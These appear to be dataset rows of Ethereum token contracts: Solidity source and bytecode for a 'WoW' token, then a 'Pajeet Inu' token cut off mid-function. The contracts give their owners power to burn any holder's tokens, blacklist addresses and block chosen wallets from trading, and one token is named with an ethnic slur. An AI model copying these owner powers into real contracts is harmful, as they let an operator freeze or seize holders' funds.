event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract WoW is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address blacklisted");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bbd602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061150e565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b61065a83836115a5565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6106dd826116a1565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cd86021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b3f6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b61076284848461178d565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6106dd826118d4565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611cb36025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061150e565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b196026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a896026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c6c6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611aaf6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c476025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a216023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112a35760405162461bcd60e51b8152600401808060200182810382526021815260200180611be56021913960400191505060405180910390fd5b6112ae8484846119d9565b8054156114375780600101544211156113575760006001820181905581556040805160608101909152602680825261130a918491611af360208301396001600160a01b038716600090815260208190526040902054919061150e565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113399083610fb2565b6001600160a01b038416600090815260208190526040902055611432565b600061139a8260000154604051806060016040528060228152602001611ad1602291396001600160a01b038816600090815260208190526040902054919061150e565b90506113c183604051806060016040528060268152602001611af36026913983919061150e565b6001600160a01b038616600090815260208190526040902081905582546113e89190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114179084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114bd565b61147482604051806060016040528060268152602001611af3602691396001600160a01b038716600090815260208190526040902054919061150e565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114a39083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b6000818484111561159d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156257818101518382015260200161154a565b50505050905090810190601f16801561158f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115ea5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c266021913960400191505060405180910390fd5b6115f6826000836119d9565b61163381604051806060016040528060228152602001611a67602291396001600160a01b038516600090815260208190526040902054919061150e565b6001600160a01b03831660009081526020819052604090205560055461165990826119de565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116e65760405162461bcd60e51b8152600401808060200182810382526023815260200180611c906023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561173e5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a446023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b0383166000818152600360205260409020906117f7576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118039084610fb2565b6001600160a01b03851660009081526020819052604090205410156118595760405162461bcd60e51b8152600401808060200182810382526030815260200180611b656030913960400191505060405180910390fd5b600081600101541180156118705750806001015442115b156118815760006001820181905581555b6001810182905580546118949084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119195760405162461bcd60e51b8152600401808060200182810382526023815260200180611c906023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461198c576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061150e56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2073656e646572206164647265737320626c61636b6c69737465644f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220e820eca4297e0a13d26cecda347c6b4999849d953cacfd177c26f8947784b08364736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 4,118 |
0xeeb196c67fb94d5897ff05563317697d2b33f460
|
/*
* https://t.me/pajeetinu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PajeetInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Pajeet Inu";
string private constant _symbol = 'PAJEET';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 7;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
